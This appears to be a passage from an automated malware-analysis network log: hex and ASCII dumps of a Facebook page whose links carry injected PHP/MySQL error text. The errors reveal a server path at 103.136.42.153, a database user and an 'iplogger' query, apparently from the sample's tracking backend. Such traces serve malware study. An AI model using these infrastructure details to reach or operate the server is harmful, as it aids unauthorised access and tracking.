2022-10-08 09:34:27 UTC	166	IN	Data Raw: 47 61 74 69 6e 67 22 2c 22 46 62 74 4c 6f 67 67 69 6e 67 22 2c 22 49 6e 74 6c 51 74 45 76 65 6e 74 46 61 6c 63 6f 45 76 65 6e 74 22 5d 2c 22 73 64 22 5d 5d 2c 5b 22 52 65 71 75 69 72 65 44 65 66 65 72 72 65 64 52 65 66 65 72 65 6e 63 65 22 2c 22 75 6e 62 6c 6f 63 6b 22 2c 5b 5d 2c 5b 5b 22 41 73 79 6e 63 52 65 71 75 65 73 74 22 2c 22 42 61 6e 7a 61 69 53 63 75 62 61 5f 44 45 50 52 45 43 41 54 45 44 22 2c 22 56 69 73 75 61 6c 43 6f 6d 70 6c 65 74 69 6f 6e 47 61 74 69 6e 67 22 2c 22 46 62 74 4c 6f 67 67 69 6e 67 22 2c 22 49 6e 74 6c 51 74 45 76 65 6e 74 46 61 6c 63 6f 45 76 65 6e 74 22 5d 2c 22 63 73 73 22 5d 5d 5d 7d 29 3b 7d 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 66 62 78 20 55 49 50 61 67 65 5f 4c 6f Data Ascii: Gating","FbtLogging","IntlQtEventFalcoEvent"],"sd"]],["RequireDeferredReference","unblock",[],[["AsyncRequest","BanzaiScuba_DEPRECATED","VisualCompletionGating","FbtLogging","IntlQtEventFalcoEvent"],"css"]]]});});</script></head><body class="fbx UIPage_Lo
2022-10-08 09:34:27 UTC	168	IN	Data Raw: 63 6c 61 73 73 3d 22 5f 65 72 72 22 3e 3c 6c 61 62 65 6c 20 66 6f 72 3d 22 65 6d 61 69 6c 22 3e 45 6d 61 69 6c 20 6f 72 20 70 68 6f 6e 65 3c 2f 6c 61 62 65 6c 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 5f 65 72 72 22 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 65 6d 61 69 6c 22 20 63 6c 61 73 73 3d 22 69 6e 70 75 74 74 65 78 74 20 6c 6f 67 69 6e 5f 66 6f 72 6d 5f 69 6e 70 75 74 5f 62 6f 78 22 20 6e 61 6d 65 3d 22 65 6d 61 69 6c 22 20 69 64 3d 22 65 6d 61 69 6c 22 20 64 61 74 61 2d 74 65 73 74 69 64 3d 22 72 6f 79 61 6c 5f 65 6d 61 69 6c 22 20 2f 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 5f 65 72 73 22 3e 3c 6c 61 62 65 6c 20 66 6f 72 3d 22 70 61 73 73 22 3e 50 61 73 73 77 6f 72 64 3c 2f 6c 61 62 65 6c 3e 3c 2f 64 69 76 3e 3c 64 Data Ascii: class="_err"><label for="email">Email or phone</label></div><div class="_err"><input type="email" class="inputtext login_form_input_box" name="email" id="email" data-testid="royal_email" /></div><div class="_ers"><label for="pass">Password</label></div><d
2022-10-08 09:34:27 UTC	169	IN	Data Raw: 72 65 66 69 6c 6c 5f 74 79 70 65 22 20 6e 61 6d 65 3d 22 70 72 65 66 69 6c 6c 5f 74 79 70 65 22 20 2f 3e 3c 2f 66 6f 72 6d 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 5f 79 6c 39 22 3e 44 6f 20 79 6f 75 20 77 61 6e 74 20 74 6f 20 6a 6f 69 6e 20 46 61 63 65 62 6f 6f 6b 3f 3c 2f 64 69 76 3e 3c 61 20 72 6f 6c 65 3d 22 62 75 74 74 6f 6e 22 20 63 6c 61 73 73 3d 22 5f 34 32 66 74 20 5f 34 6a 79 30 20 5f 79 6c 61 20 5f 34 6a 79 33 20 5f 34 6a 79 32 20 73 65 6c 65 63 74 65 64 20 5f 35 31 73 79 20 6d 72 6d 22 20 68 72 65 66 3d 22 2f 72 65 67 2f 3f 70 72 69 76 61 63 79 5f 6d 75 74 61 74 69 6f 6e 5f 74 6f 6b 65 6e 3d 65 79 4a 30 65 58 42 6c 49 6a 6f 77 4c 43 4a 6a 63 6d 56 68 64 47 6c 76 62 6c 39 30 61 57 31 6c 49 6a 6f 78 4e 6a 59 31 4d 6a 49 78 4e 6a Data Ascii: refill_type" name="prefill_type" /></form></div><div class="_yl9">Do you want to join Facebook?</div><a role="button" class="_42ft _4jy0 _yla _4jy3 _4jy2 selected _51sy mrm" href="/reg/?privacy_mutation_token=eyJ0eXBlIjowLCJjcmVhdGlvbl90aW1lIjoxNjY1MjIxNj
2022-10-08 09:34:27 UTC	171	IN	Data Raw: 20 72 6f 6c 65 3d 22 70 72 65 73 65 6e 74 61 74 69 6f 6e 22 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 3e 20 c2 b7 20 3c 2f 73 70 61 6e 3e 3c 61 20 68 72 65 66 3d 22 2f 68 65 6c 70 2f 3f 72 65 66 3d 34 30 34 22 20 64 61 74 61 2d 67 74 3d 22 26 23 31 32 33 3b 26 71 75 6f 74 3b 74 61 72 67 65 74 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 65 6c 70 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 6d 61 72 6b 65 74 69 6e 67 5f 70 61 67 65 5f 63 6c 69 63 6b 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 31 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 63 6f 6e 76 65 72 73 69 6f 6e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 31 26 71 75 6f 74 3b 26 23 31 32 35 3b 22 3e 56 69 73 69 74 20 6f 75 72 20 48 65 6c 70 20 43 65 6e 74 65 72 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e Data Ascii: role="presentation" aria-hidden="true"> </span><a href="/help/?ref=404" data-gt="{"target":"help","marketing_page_click":"1","conversion":"1"}">Visit our Help Center</a></div></div>
2022-10-08 09:34:27 UTC	172	IN	Data Raw: 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 26 23 30 36 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 73 65 6c 65 63 74 25 32 30 69 70 6c 6f 67 67 65 72 25 32 30 66 72 6f 6d 25 32 30 74 5f 63 68 61 6e 6e 65 6c 73 25 32 30 77 68 65 72 65 25 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 57 59 57 44 49 47 7e 31 26 23 30 33 39 3b 25 32 30 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 66 66 30 30 30 30 25 32 32 25 33 45 25 35 42 54 45 50 25 32 Data Ascii: 39;dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='WYWDIG~1'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%2
2022-10-08 09:34:27 UTC	174	IN	Data Raw: 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 57 61 72 6e 69 6e 67 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 5c 75 30 30 32 35 32 30 65 78 70 65 63 74 73 5c 75 30 30 32 35 32 30 70 61 72 61 6d 65 74 65 72 5c 75 30 30 32 35 32 30 32 5c 75 30 30 32 35 32 30 74 6f 5c 75 30 30 32 35 32 30 62 65 5c 75 30 30 32 35 32 30 72 65 73 6f 75 72 63 65 2c 5c 75 30 30 32 35 32 30 62 6f 6f 6c 65 61 6e 5c 75 30 30 32 35 32 30 67 69 76 65 6e 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 Data Ascii: 02520\/\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cb\u00253EWarning\u00253C\/b\u00253E:\u002520\u002520mysql_query()\u002520expects\u002520parameter\u0025202\u002520to\u002520be\u002520resource,\u002520boolean\u002520given\u002520in\u00252
2022-10-08 09:34:27 UTC	175	IN	Data Raw: 62 65 25 32 30 72 65 6d 6f 76 65 64 25 32 30 69 6e 25 32 30 74 68 65 25 32 30 66 75 74 75 72 65 3a 25 32 30 75 73 65 25 32 30 6d 79 73 71 6c 69 25 32 30 6f 72 25 32 30 50 44 4f 25 32 30 69 6e 73 74 65 61 64 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 25 32 30 25 33 43 62 25 33 45 34 37 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 57 61 72 6e 69 6e 67 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 70 63 6f Data Ascii: be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pco
2022-10-08 09:34:27 UTC	177	IN	Data Raw: 65 64 5c 75 30 30 32 35 32 30 61 6e 64 5c 75 30 30 32 35 32 30 77 69 6c 6c 5c 75 30 30 32 35 32 30 62 65 5c 75 30 30 32 35 32 30 72 65 6d 6f 76 65 64 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 74 68 65 5c 75 30 30 32 35 32 30 66 75 74 75 72 65 3a 5c 75 30 30 32 35 32 30 75 73 65 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 69 5c 75 30 30 32 35 32 30 6f 72 5c 75 30 30 32 35 32 30 50 44 4f 5c 75 30 30 32 35 32 30 69 6e 73 74 65 61 64 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 Data Ascii: ed\u002520and\u002520will\u002520be\u002520removed\u002520in\u002520the\u002520future:\u002520use\u002520mysqli\u002520or\u002520PDO\u002520instead\u002520in\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty\/includes\/database.php\u00253
2022-10-08 09:34:27 UTC	178	IN	Data Raw: 75 30 30 34 30 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 28 75 73 69 6e 67 5c 75 30 30 32 35 32 30 70 61 73 73 77 6f 72 64 3a 5c 75 30 30 32 35 32 30 59 45 53 29 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 73 65 6c 65 63 74 5c 75 30 30 32 35 32 30 69 70 6c 6f 67 67 65 72 5c 75 30 30 32 35 32 30 66 72 6f 6d 5c 75 30 30 32 35 32 30 74 5f 63 68 61 6e 6e 65 6c 73 5c 75 30 30 32 35 32 30 77 68 65 72 65 5c 75 30 30 32 35 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 57 59 57 44 49 47 7e 31 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 6c 69 6d 69 74 5c 75 30 30 32 35 32 30 30 2c 31 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 Data Ascii: u0040'localhost'\u002520(using\u002520password:\u002520YES)\u00253Cbr\u00253E\u00250A\u00253Cbr\u00253Eselect\u002520iplogger\u002520from\u002520t_channels\u002520where\u002520name='WYWDIG~1'\u002520limit\u0025200,1\u00253Cbr\u00253E\u
2022-10-08 09:34:27 UTC	180	IN	Data Raw: 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 25 32 30 25 33 43 62 25 33 45 37 33 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 30 30 30 30 30 30 25 32 32 25 33 45 25 30 41 25 33 43 62 25 33 45 31 30 34 35 25 32 30 2d 25 32 30 41 63 63 65 73 73 25 32 30 64 65 6e 69 65 64 25 32 30 66 6f 72 25 32 30 75 73 65 72 25 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 26 23 30 36 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 Data Ascii: n%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E73%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost
2022-10-08 09:34:27 UTC	181	IN	Data Raw: 30 32 35 32 30 59 45 53 29 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 34 37 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 Data Ascii: 02520YES)\u002520in\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty\/includes\/database.php\u00253C\/b\u00253E\u002520on\u002520line\u002520\u00253Cb\u00253E47\u00253C\/b\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cbr\u00
2022-10-08 09:34:27 UTC	183	IN	Data Raw: 74 69 74 6c 65 3d 22 49 74 61 6c 69 61 6e 22 3e 49 74 61 6c 69 61 6e 6f 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 5f 73 76 34 22 20 64 69 72 3d 22 6c 74 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 74 2d 70 74 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 44 65 70 72 65 63 61 74 65 64 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 25 32 30 54 68 65 25 32 30 6d 79 73 71 6c 25 32 30 65 78 74 65 6e 73 69 6f 6e 25 32 30 69 73 25 32 30 64 65 70 72 65 63 61 74 65 64 25 32 30 61 6e 64 25 32 30 77 69 6c 6c 25 32 30 62 65 25 32 30 72 65 6d 6f 76 65 64 25 32 30 69 6e 25 32 30 74 68 65 25 32 30 66 75 74 75 72 65 3a 25 32 Data Ascii: title="Italian">Italiano</a></li><li><a class="_sv4" dir="ltr" href="https://pt-pt.facebook.com/%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%2
2022-10-08 09:34:27 UTC	184	IN	Data Raw: 20 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 70 74 2d 70 74 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 44 65 70 72 65 63 61 74 65 64 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 5c 75 30 30 32 35 32 30 54 68 65 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5c 75 30 30 32 35 32 30 65 78 74 65 6e 73 69 6f 6e 5c 75 30 30 32 35 32 30 69 73 5c 75 30 30 32 35 32 30 64 65 70 72 65 63 61 74 65 64 5c 75 30 30 32 35 32 30 61 6e 64 5c 75 30 30 32 35 32 30 77 69 6c 6c 5c 75 30 30 32 35 32 30 62 65 Data Ascii: "https:\/\/pt-pt.facebook.com\/\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cb\u00253EDeprecated\u00253C\/b\u00253E:\u002520\u002520mysql_pconnect():\u002520The\u002520mysql\u002520extension\u002520is\u002520deprecated\u002520and\u002520will\u002520be
2022-10-08 09:34:27 UTC	185	IN	Data Raw: 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 66 6f 6e 74 5c 75 30 30 32 35 32 30 63 6f 6c 6f 72 3d 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 32 33 30 30 30 30 30 30 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 31 30 34 35 5c 75 30 30 32 35 32 30 2d 5c 75 30 30 32 35 32 30 41 63 63 65 73 73 5c 75 30 30 32 35 32 30 64 65 6e 69 65 64 5c 75 30 30 32 35 32 30 66 6f 72 5c 75 30 30 32 35 32 30 75 73 65 72 5c 75 30 30 32 35 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 5c 75 30 30 34 30 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 28 Data Ascii: 50A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cfont\u002520color=\u002522\u002523000000\u002522\u00253E\u00250A\u00253Cb\u00253E1045\u002520-\u002520Access\u002520denied\u002520for\u002520user\u002520'dbnew01'\u0040'localhost'\u002520(
2022-10-08 09:34:27 UTC	187	IN	Data Raw: 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 25 32 30 25 33 43 62 25 33 45 34 37 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 57 61 72 6e 69 6e 67 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 25 32 30 65 78 70 65 63 74 73 25 32 30 70 61 72 61 6d 65 74 65 72 25 32 30 32 25 32 30 74 6f 25 32 30 62 65 25 32 30 72 65 73 6f 75 72 63 65 2c 25 32 30 62 6f 6f 6c 65 61 6e 25 32 30 67 69 76 65 6e 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 Data Ascii: .136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/10
2022-10-08 09:34:27 UTC	188	IN	Data Raw: 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 57 61 72 6e 69 6e 67 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 5c 75 30 30 32 35 32 30 41 63 63 65 73 73 5c 75 30 30 32 35 32 30 64 65 6e 69 65 64 5c 75 30 30 32 35 32 30 66 6f 72 5c 75 30 30 32 35 32 30 75 73 65 72 5c 75 30 30 32 35 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 5c 75 30 30 34 30 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 28 75 73 69 6e 67 5c 75 30 30 32 35 32 30 70 61 73 73 77 6f 72 64 3a 5c 75 30 30 32 35 32 30 59 45 53 29 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 Data Ascii: 0253E\u00250A\u00253Cb\u00253EWarning\u00253C\/b\u00253E:\u002520\u002520mysql_pconnect():\u002520Access\u002520denied\u002520for\u002520user\u002520'dbnew01'\u0040'localhost'\u002520(using\u002520password:\u002520YES)\u002520in\u00252
2022-10-08 09:34:27 UTC	190	IN	Data Raw: 50 5c 75 30 30 32 35 35 44 5c 75 30 30 32 35 33 43 5c 2f 66 6f 6e 74 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 5c 2f 73 6d 61 6c 6c 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 5c 2f 66 6f 6e 74 5c 75 30 30 32 35 33 45 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 77 77 77 5f 6c 69 73 74 5f 73 65 6c 65 63 74 6f 72 26 71 75 6f 74 3b 2c 20 34 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 20 74 69 74 6c 65 3d 22 41 6c 62 61 6e 69 61 6e 22 3e 53 68 71 69 70 3c 2f 61 3e Data Ascii: P\u00255D\u00253C\/font\u00253E\u00250A\u00253C\/small\u00253E\u00250A\u00253Cbr\u00253E\u00250A\u00253Cbr\u00253E\u00250A\u00253C\/b\u00253E\u00250A\u00253C\/font\u00253E", "www_list_selector", 4); return false;" title="Albanian">Shqip</a>
2022-10-08 09:34:27 UTC	191	IN	Data Raw: 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 66 66 30 30 30 30 25 32 32 25 33 45 25 35 42 54 45 50 25 32 30 53 54 4f 50 25 35 44 25 33 43 2f 66 6f 6e 74 25 33 45 25 30 41 25 33 43 2f 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 2f 66 6f 6e 74 25 33 45 22 20 6f 6e 63 6c 69 63 6b 3d 22 72 65 71 75 69 72 65 28 26 71 75 6f 74 3b 49 6e 74 6c 55 74 69 6c 73 26 71 75 6f 74 3b 29 2e 73 65 74 43 6f 6f 6b 69 65 4c 6f 63 61 6c 65 28 26 71 75 6f 74 3b 65 73 5f 4c 41 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 65 6e 5f 55 53 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 65 73 2d 6c 61 2e 66 61 63 65 62 Data Ascii: all%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E" onclick="require("IntlUtils").setCookieLocale("es_LA", "en_US", "https:\/\/es-la.faceb
2022-10-08 09:34:27 UTC	193	IN	Data Raw: 6f 75 72 63 65 2c 5c 75 30 30 32 35 32 30 62 6f 6f 6c 65 61 6e 5c 75 30 30 32 35 32 30 67 69 76 65 6e 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 37 33 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 Data Ascii: ource,\u002520boolean\u002520given\u002520in\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty\/includes\/database.php\u00253C\/b\u00253E\u002520on\u002520line\u002520\u00253Cb\u00253E73\u00253C\/b\u00253E\u00250A\u00253Cbr\u002520\/\u002
2022-10-08 09:34:27 UTC	194	IN	Data Raw: 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 57 61 72 6e 69 6e 67 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 25 32 30 41 63 63 65 73 73 25 32 30 64 65 6e 69 65 64 25 32 30 66 6f 72 25 32 30 75 73 65 72 25 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 26 23 30 36 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 Data Ascii: %3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20
